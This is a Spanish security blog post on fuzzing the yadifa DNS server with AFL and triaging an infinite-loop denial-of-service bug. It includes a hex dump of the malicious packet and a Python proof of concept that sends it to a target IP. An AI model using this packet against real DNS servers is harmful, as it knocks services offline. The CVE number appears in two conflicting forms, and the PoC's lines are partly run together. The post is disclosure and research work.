Cabecera blog ciberseguridad

Historias de Fuzzing 0x01: Yadifa DNS

Parte de la actividad del RedTeam de Tarlogic consiste en la búsqueda de vulnerabilidades en software que pueda ser usado por nuestros clientes . En esta ocasión, vamos a describir el proceso de adaptación y fuzzing del servidor DNS yadifa 2.2.5, así como el triage de un bug encontrado en el mismo (DoS, CVE-2017-14399)

Este post se compone de varios apartados:

  1. Estudio y adaptación del código fuente para optimizar el funcionamiento de AFL
  2. Preparación del entorno para AFL y ejecución
  3. Breve descripción del protocolo DNS
  4. Triage de un «hang»

1. Estudio y adaptación del código fuente para optimizar el funcionamiento de AFL

Uno de los servidores que hemos fuzzeado es yadifa. Se trata de un servidor DNS de alto rendimiento basado en multithreading, desarrollado por EURid. Yadifa está diseñado de manera que tiene varios thread-pools encargados de diversas tareas. Por ejemplo, existe un pool que se encarga de la recepción de peticiones DNS, al igual que existe otro encargado de procesarlas y enviar la respuesta al cliente. Este no es el mejor caso para fuzzear con AFL, pero podemos tratar de adaptar el código de manera que el procesado sea más lineal. Esto tiene la ventaja de que mejora enormemente la velocidad y la precisión, pero como inconveniente hay que destacar que estamos perdiendo cobertura de aspectos que pueden ser importantes:

  • ¿La sincronización entre hilos es correcta? ¿Existen race-conditions? ¿Use-after-free provocados por mala sincronización?
  • Es posible que al desactivar componentes del servidor haya variables que no estén inicializadas. Esto puede causar que obtengamos falsos positivos en forma de crashes que no son válidos en la versión no modificada del software, o que perdamos cobertura de zonas de código que dependen del componente desactivado.

De todos modos, como exploración inicial, es un trade-off aceptable.

Comencemos a indagar en el código de yadifa. El punto más evidente para partir es la función main(), ubicada en sbin/yadifad/main.c. Podemos ver que consiste en una serie de inicializaciones, seguidas del lanzamiento de varios «servicios». Un servicio, según vemos más adelante, es un thread-pool que procesa tareas de un tipo determinado.

De cara a fuzzear con AFL hay aspectos del programa que no nos interesan, como pueden ser la comprobación de que el servidor no se encuentre ya en ejecución o la inicialización de jaulas chroot. Por tanto, comentaremos las líneas 573 a 576, así como 595 a 598. El servicio de notificaciones entre componentes de yadifa tampoco nos interesa, ya que nuestro objetivo es lograr que el servidor procese varios miles de peticiones DNS leídas desde stdin y posteriormente finalize su ejecución. De este modo podremos utilizar el modo persistente de AFL y agilizar en gran medida el proceso. Por tanto, comentaremos la línea 635.

Finalmente, vemos que la función main() llama a server_service_start_and_wait() y posteriormente finaliza.

server_service_start_and_wait() se encuentra en el archivo sbin/yadifad/server.c, línea 1026

Es una función pequeña, que únicamente llama a service_start_and_wait(), asegurándose de que el servicio no se encuentre previamente en ejecución. service_start_and_wait() se encuentra en lib/dnscore/src/service.c. A su vez, esta función llamará a service_start(), seguido de service_wait().

Dichas funciones se encuentran en el mismo archivo de código. La función de service_start es iniciar tantos hilos como estén configurados en el servicio. service_wait espera a que todos ellos hayan finalizado.

La función de entrada de los hilos es service_thread(), de nuevo en el mismo archivo. En resumen, tras inicializar varios parámetros de control, llama a la función de entrada especificada en la definición del servicio.

Ahora bien, ¿qué funciones corre este servicio? service_start_and_wait() pasa como parámetro a service_start() la variable server_service_handler. Esta variable se encuentra definida en sbin/yadifad/server.c, y es una variable global inicializada con el valor UNINITIALIZED_SERVICE. En el mismo archivo se encuentra la función server_service_init(), llamada desde main(). Esta función llama a

service_init_ex(&server_service_handler, server_service_main, "server", 1).

service_init_ex() se encuentra en service.c y se encarga de asignar diversos valores a los campos de la estructura que representa el servicio. El campo que más nos interesa ahora mismo es el punto de entrada, ya que es la función que mencionamos anteriormente, llamada desde service_thread(). Como vemos en la llamada a service_init_ex(), se trata de la función server_service_main.

server_service_main() se encuentra de nuevo en server.c, y su función es marcar el servicio como «en ejecución», llamar a server_init() seguido de server_run(), y a su retorno marcar el servicio como «no en ejecución».

En server_run() podemos ver una serie de inicializaciones del listener TCP. Esto en este momento no nos interesa, así que saltamos directamente a la línea 930, que es una llamada a server_run_loop(). Dicha función se encuentra en server.c y contiene la línea

ya_result ret = server_type[g_config->network_model].loop();

La variable server_type se encuentra definida al principio del mismo archivo:

static struct server_desc_s server_type[2] =
{
    {
        server_mt_context_init,
        server_mt_query_loop,
        "multithreaded resolve"
    },
    {
        server_rw_context_init,
        server_rw_query_loop,
        "multithreaded deferred resolve"
    }
};

Por lo que, según la configuración del servidor, la función llamada será server_mt_query_loop o server_rw_query_loop. Al azar, escogemos server_rw_query_loop (aunque, en retrospectiva, hubiese sido más simple utilizar server_mt_query_loop).

server_rw_query_loop se encuentra en sbin/yadifad/server-rw.c. La parte que nos interesa se encuentra entre las líneas 1167 y 1179. Se trata del encolado de funciones en dos thread-pools:

server-rw-recv -> función server_rw_udp_receiver_thread

server-rw-send -> función server_rw_udp_sender_thread

server_rw_udp_receiver_thread gestiona la recepción de peticiones DNS. Nada mas empezar podemos ver que soporta tanto el uso de recvmsg() como de recvfrom(). De cara a fuzzear con AFL, nos resulta mucho más comodo utilizar recvfrom(), ya que evitamos tener que gestionar las estructuras que maneja recvmsg(), por lo que ignoraremos las zonas de código entre los «#ifdef UDP_USE_MESSAGES». Optar por la variante de recvmsg nos da la comodidad de poder sustituir esta llamada por un simple read() al descriptor 0 (stdin), lo cual es perfecto para nuestros propósitos.

A continuación el mensaje se encola (según carga del servidor, en la «cola directa» o en la «cola aplazada». Los detalles no son relevantes para nuestro objetivo, ya que eliminaremos este código) para su posterior procesado por el hilo que está ejecutando server_rw_udp_sender_thread. En esta función podemos ver como se desencola una petición DNS de cualquiera de las dos colas, y en cualquier caso se llama a la función server_rw_udp_sender_process_message.

Al fin hemos llegado a la función que nos interesa. Podemos ver que esta función se encarga de procesar el mensaje, llamar a las funciones de la DB de yadifa para buscar resultados, y enviar la respuesta.

Por tanto, después de seguir el código hasta aquí, podemos concluir que el flujo de código lineal que nos interesa es:

main -> server_rw_udp_receiver_thread -> server_rw_udp_sender_thread -> server_rw_udp_sender_process_message

El siguiente paso es conseguir una versión reducida de las funciones server_rw_udp_* que nos permita encadenarlas, de manera que obtengamos algo similar a:

while(number_of_packets_per_fuzzed_process > 0) {
  server_rw_udp_receive()
    msg = read(stdin)
  server_rw_udp_sender_process_message()
    yadifa magic here -> fuzz it!
  server_rw_udp_send()
    nop
}

En la función main() comentaremos las líneas 655 a 662, sustituyéndolas por:

int fin = STDIN_FILENO;

while (__AFL_LOOP(1000)) {
 	message_data *mesg = malloc(sizeof(message_data));
 	memset(mesg, 0, sizeof(message_data));

  server_rw_udp_receiver(fin, mesg);
  server_rw_udp_sender(fin, mesg);

  free(mesg);
}

De este modo podemos utilizar el modo persistente de AFL, que nos evitará tener que iniciar un proceso nuevo en cada iteración, aumentando sensiblemente el número de pruebas por segundo.

Después de main() escribiremos la versión simplificada de las funciones que hemos estudiado anteriormente.

Parte del código es inútil, pero hemos decidido mantener la estructura con el objetivo de facilitar al lector la comparación con el original.

Adicionalmente, necesitaremos incluir la cabecera rrl.h:

#include "rrl.h"

Con estas modificaciones sólo nos queda compilar el código:

CC=afl-clang-fast ./configure && make

El binario compilado nos quedará en sbin/yadifad/yadifad

A partir del archivo de configuraciónde ejemplo, preparamos un archivo de configuración. En resumen, evitamos que levante un demonio, haciendo que quede en foreground, desactivamos la jaula chroot, hacemos que escriba en carpetas en las que nuestro usuario pueda leer y escribir, hacemos que corra con nuestro mismo usuario y que el puerto en el que escucha esté por encima de 1024.

Con esto estamos listos para comenzar a fuzzear.

2. Preparación del entorno para AFL y ejecución

No vamos a describir el funcionamiento de AFL, ya que existe extensiva documentación al respecto. Simplemente vamos a enumerar los pasos necesarios para comenzar a fuzzear el programa.

En primer lugar, AFL recibe los parámetros -i -o .

Como samples de partida utilizaremos los paquetes disponibles en https://github.com/CZ-NIC/dns-fuzzing, descargado por ejemplo en /home/fuzz/yadifa/in
Como carpeta de salida, nos vale cualquiera en la que podamos escribir. Por ejemplo, en /home/fuzz/yadifa/out

Es necesario, por supuesto, haber creado cualquier ruta o archivo de los que pueda depender el programa fuzzeado. Según la configuración:

mkdir -p /tmp/zones/keys
mkdir -p /tmp/zones/xfr
mkdir -p /tmp/yadifa/logs

Por tanto,

afl-fuzz -i /home/fuzz/yadifa/in -o /home/fuzz/yadifa/out /home/fuzz/yadifa/yadifa-2.2.5-6937/sbin/yadifad/yadifad -c /home/fuzz/yadifa/yadifad.conf

Si todo ha ido bien, deberíamos ver la interfaz de AFL. En una máquina virtual con un sólo core de un i7, la velocidad estaba en unos 14k/s. En un periodo de tiempo bastante reducido pudimos observar varios «hangs».

3. Breve descripción del protocolo DNS

Antes de explicar la causa del bug detectado es necesario conocer parte del funcionamiento del protocolo DNS. Si tienes fresco esto, puedes pasar directamente al siguiente apartado.

Desde muy alto nivel, DNS es un protocolo que puede funcionar tanto sobre TCP como UDP, aunque lo más común es utilizar UDP para peticiones estándar y TCP para asuntos concretos como puede
ser una transferencia de zona. Se trata de un protocolo relativamente simple, en el que el cliente envía una petición al servidor, y este envía una única respuesta. El servidor puede devolver la respuesta inmediatamente si tiene información sobre los hosts sobre los que se le ha preguntado, o a su vez reenviar la petición a otro servidor, el cual espera esté en posesión de la información. A esto se le llama una petición recursiva.

Los tamaños máximos definido por el RFC 1035 son:

  • FQDN: 255 bytes, formado por varias etiquetas. Ejemplo: www.ka0labs.
  • Etiqueta: 63 bytes. Ejemplo:
  • Paquete UDP: 512 bytes

Un paquete DNS está compuesto de los siguientes elementos (todos los diagramas ASCII están copiados directamente del RFC:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | nombres sobre los que el cliente pregunta
    +---------------------+
    |        Answer       | RRs de respuesta a la pregunta
    +---------------------+
    |      Authority      | RRs que indican el servidor autoritativo para los nombres por los que el cliente pregunta
    +---------------------+
    |      Additional     | RRs con información adicional
    +---------------------+

Un RR es un Resource Record, un registro de información. Existen varios tipos de RR (A para direcciones IPv4, AAAA para direcciones IPv6, MX para servidores de correo, etc).

La cabecera tiene el siguiente aspecto:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

Explicaremos los campos más relevantes:

ID es un identificador que escoge el cliente y debe ser copiado tal cual en la respuesta. QR indica si el mensaje es una pregunta o respuesta, según si su valor es 0 o 1.
Opcode es el tipo de petición, escogido por el cliente. El tipo que nos interesa es el valor 0, «standard query».
QDCOUNT, ANCOUNT, NSCOUNT y ARCOUNT son el número de RRs en las secciónes Question, Answer, Authority, y Additional, en ese orden.

Tras la cabecera vienen una o más secciones Question, con el siguente formato:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                     QNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QTYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QCLASS                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

Donde QNAME es una sucesión de etiquetas que forman un nombre. Una etiqueta está formada por un byte que indica la longitud del texto que la forma, seguido de dicho texto. Por ejemplo, una etiqueta que contenga el texto «tarlogic» sería «\x08tarlogic»

QTYPE es el tipo de registro por el que se pregunta (A, AAAA, MX, TXT, PTR, SOA, …)

QCLASS es el tipo de recurso por el que se pregunta. Hoy en día solo se utiliza el valor IN (Inet).

El resto de secciones están compuestos por uno o más RR, con el siguiente formato:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

Donde NAME, TYPE y CLASS son equivalentes a los campos QNAME, QTYPE y QCLASS descritos anteriormente. TTL es el tiempo máximo que el resultado debe ser almacenado en la caché de los clientes y servidores intermedios por los que pueda pasar la respuesta. RDLENGTH es la longitud en bytes del campo de longitud variable RDATA. RDATA tiene distintos formatos, según el valor del campo TYPE. Son numerosos, por lo que no vamos a describirlos en este texto.

Cabe mencionar (dado que es clave para el siguiente apartado, *guiño*) que DNS se diseñó en una época en la que internet no funcionaba a la misma velocidad que hoy, por lo que se realizaban esfuerzos por reducir el tamaño de los mensajes a enviar siempre que se podía. En DNS se diseñó un mecanismo de compresión en los nombres contenidos en los paquetes.

Ya hemos explicado que un nombre está formado por una serie de etiquetas, que a su vez están formadas por un byte que representa la longitud de la misma (sin contar el propio byte) seguido del texto, con una longitud máxima de 63 bytes (hexadecimal 0x3F, binario 00111111). El mecanismo de compresión diseñado para DNS consiste en reutilizar partes de nombres que ya se encuentren en el paquete, en lugar de repetirlos. Para esto, una etiqueta puede tomar la forma de un puntero o referencia.

Si el byte de longitud de la etiqueta tiene los dos primeros bits con valor 1 (por tanto, un valor mayor a 63 o 0x3f), se trata de un puntero. Esto puede detectarse con una simple operación AND con el valor 0xC0. Este valor indica que el resto de bits de dicho byte junto al valor del siguiente byte forman una posición desde el comienzo del paquete desde el cual se debe continuar la lectura del nombre. El desplazamiento se calcula de la siguiente manera:

char *reference = &msg[x];
char *offset = ((*reference & 0x3F) << 8) | *(reference + 1) // 0x3F = 0b00111111

Con esto tenemos suficiente para continuar.

4. Triage de un «hang»

Un hang de AFL es un sample que hace que el programa fuzzeado tarde más de la cuenta en procesarlo. Esto puede ser indicativo de varios problemas, entre otros:

  • Loops infinitos o demasiado extensos
  • Consumo excesivo de recursos (escrituras a disco, uso de memoria)
  • Bloqueos entre hilos

Tras fuzzear yadifa durante unos minutos, AFL nos reportó varios hangs. Tras reproducir uno de ellos en una versión no modificada de yadifa, determinamos que el fallo podía ser real (y no causado por alguna de nuestras modificaciones en la etapa de hacer chopped con el código), ya que tras enviar el paquete en cuestión varias veces el servidor dejaba de responder y el uso de CPU era elevado.

Compilamos nuestra versión modificada de la siguiente manera:

CFLAGS="-g -O0" ./configure && make

De modo que tenemos símbolos de depuración y el código generado por el compilador debería ser entendible.

Ejecutamos

gdb yadifad

Y la instrucción:

run -c yadifad.conf < dos.pkt

Donde dos.pkt contiene el sample generado por AFL en out/hangs/

Observamos que pasados unos segundos de ejecución del programa no parece haber respuesta. Con la secuencia Control+C paramos el proceso, y observamos el estado en el depurador:

Estado del proceso de yadifa DNS
Estado del proceso de yadifa DNS

Nos encontramos en la función packet_reader_read_fqdn, en el archivo lib/dnscore/src/packet_reader.c, línea 125.

Vemos que la instrucción en la que hemos parado el depurador se encuentra dentro de un bucle for(;;). Las líneas son las siguientes:

...
for(;;)
{
    u8 len = *p++;

    if((len & 0xc0) == 0xc0) /* EDF: better yet: cmp len, 192; jge  */
    {
        /* reposition the pointer */
        u32 new_offset = len & 0x3f;
        new_offset   <<= 8; new_offset |= *p; p = &reader->packet[new_offset];

        continue;
    }
    ...

Observamos la operación AND con el valor 0xC0, seguida de un cálculo de offset utilizando la constante 0x3F, con un desplazamiento << 8. ¿Nos suena de algo? Estamos en el código encargado
de procesar referencias en etiquetas.

Estudiando ese pequeño trozo de código podemos ver que existe la posibilidad de entrar en un bucle infinito, dado que el algoritmo que utilizan simplemente mueve el puntero de lectura a la posición indicada por la referencia, sin comprobar que sea un valor distinto a la posición actual o que ya se hayan realizado un número de saltos anteriormente por encima de algún límite establecido.

El paquete que causa la iteración infinita sobre el bucle es el siguiente:

00000000: 3132 0000 0001 0000 0000 0101 0a6b 6130  12...........ka0
00000010: 6c61 6273 2d00 0100 000e 1000 0603 6e73  labs-.........ns
00000020: 36c0 0cc0 2300                           6...#.

En la posición 0x23 podemos observar el byte 0xC0, seguido del valor 0x23. Esta referencia, una vez resuelta, hará que el parser salte de nuevo a la posición 0x23 del paquete, repitiendo de nuevo la misma operación una y otra vez.

Según el número de hilos corriendo en el pool del servicio que se encarga de procesar paquetes, será necesario enviar un número mayor o menor de paquetes para hacer que el servidor deje de responder. Cada paquete enviado hará que uno de los hilos que estén libres quede bloqueado en este bucle. Un código simple a modo de PoC es el siguiente:

# Yadifa DoS PoC
# Discovered by: Javier Gil (@ca0s_) & Juan Manuel Fernandez (@TheXC3LL)

import socket
import sys

if __name__ == '__main__':
        if len(sys.argv) < 2: print "Usage: %s IP [PORT]" % (sys.argv[0], ) sys.exit(-1) IP = sys.argv[1] if len(sys.argv) >= 3:
                PORT = int(sys.argv[2])
        else:
                PORT = 53

        exploit = "3132000000010000000001010a6b61306c6162732d000100000e100006036e7336c00cc02300"
        print "[+] Yadifa DoS PoC"
        print "[+] Sending packet..."

        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
        sock.sendto(exploit.decode("hex"), (IP, PORT))

        print "[+] Sent!"

Este bug fue reportado a EURid y ya se cuenta con un parche. El timeline es el siguiente:

01/09/2017 – Contacto inicial con el equipo de seguridad de EURid y descripción del bug, siguiendo una estricta política de FD (Friday Disclosure)
01/09/2017 – Respuesta del equipo de EURid, pase de información al equipo de desarrollo.
04/09/2017 – Envío de PoC a EURid.
08/09/2017 – El equipo de desarrollo reproduce el bug y comienza a trabajar en un parche.
11/09/2017 – Contacto con MITRE
12/09/2017 – Asignación de CVE-2017-14339
13/09/2017 – Release de yadifa 2.2.6 con el bug corregido

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.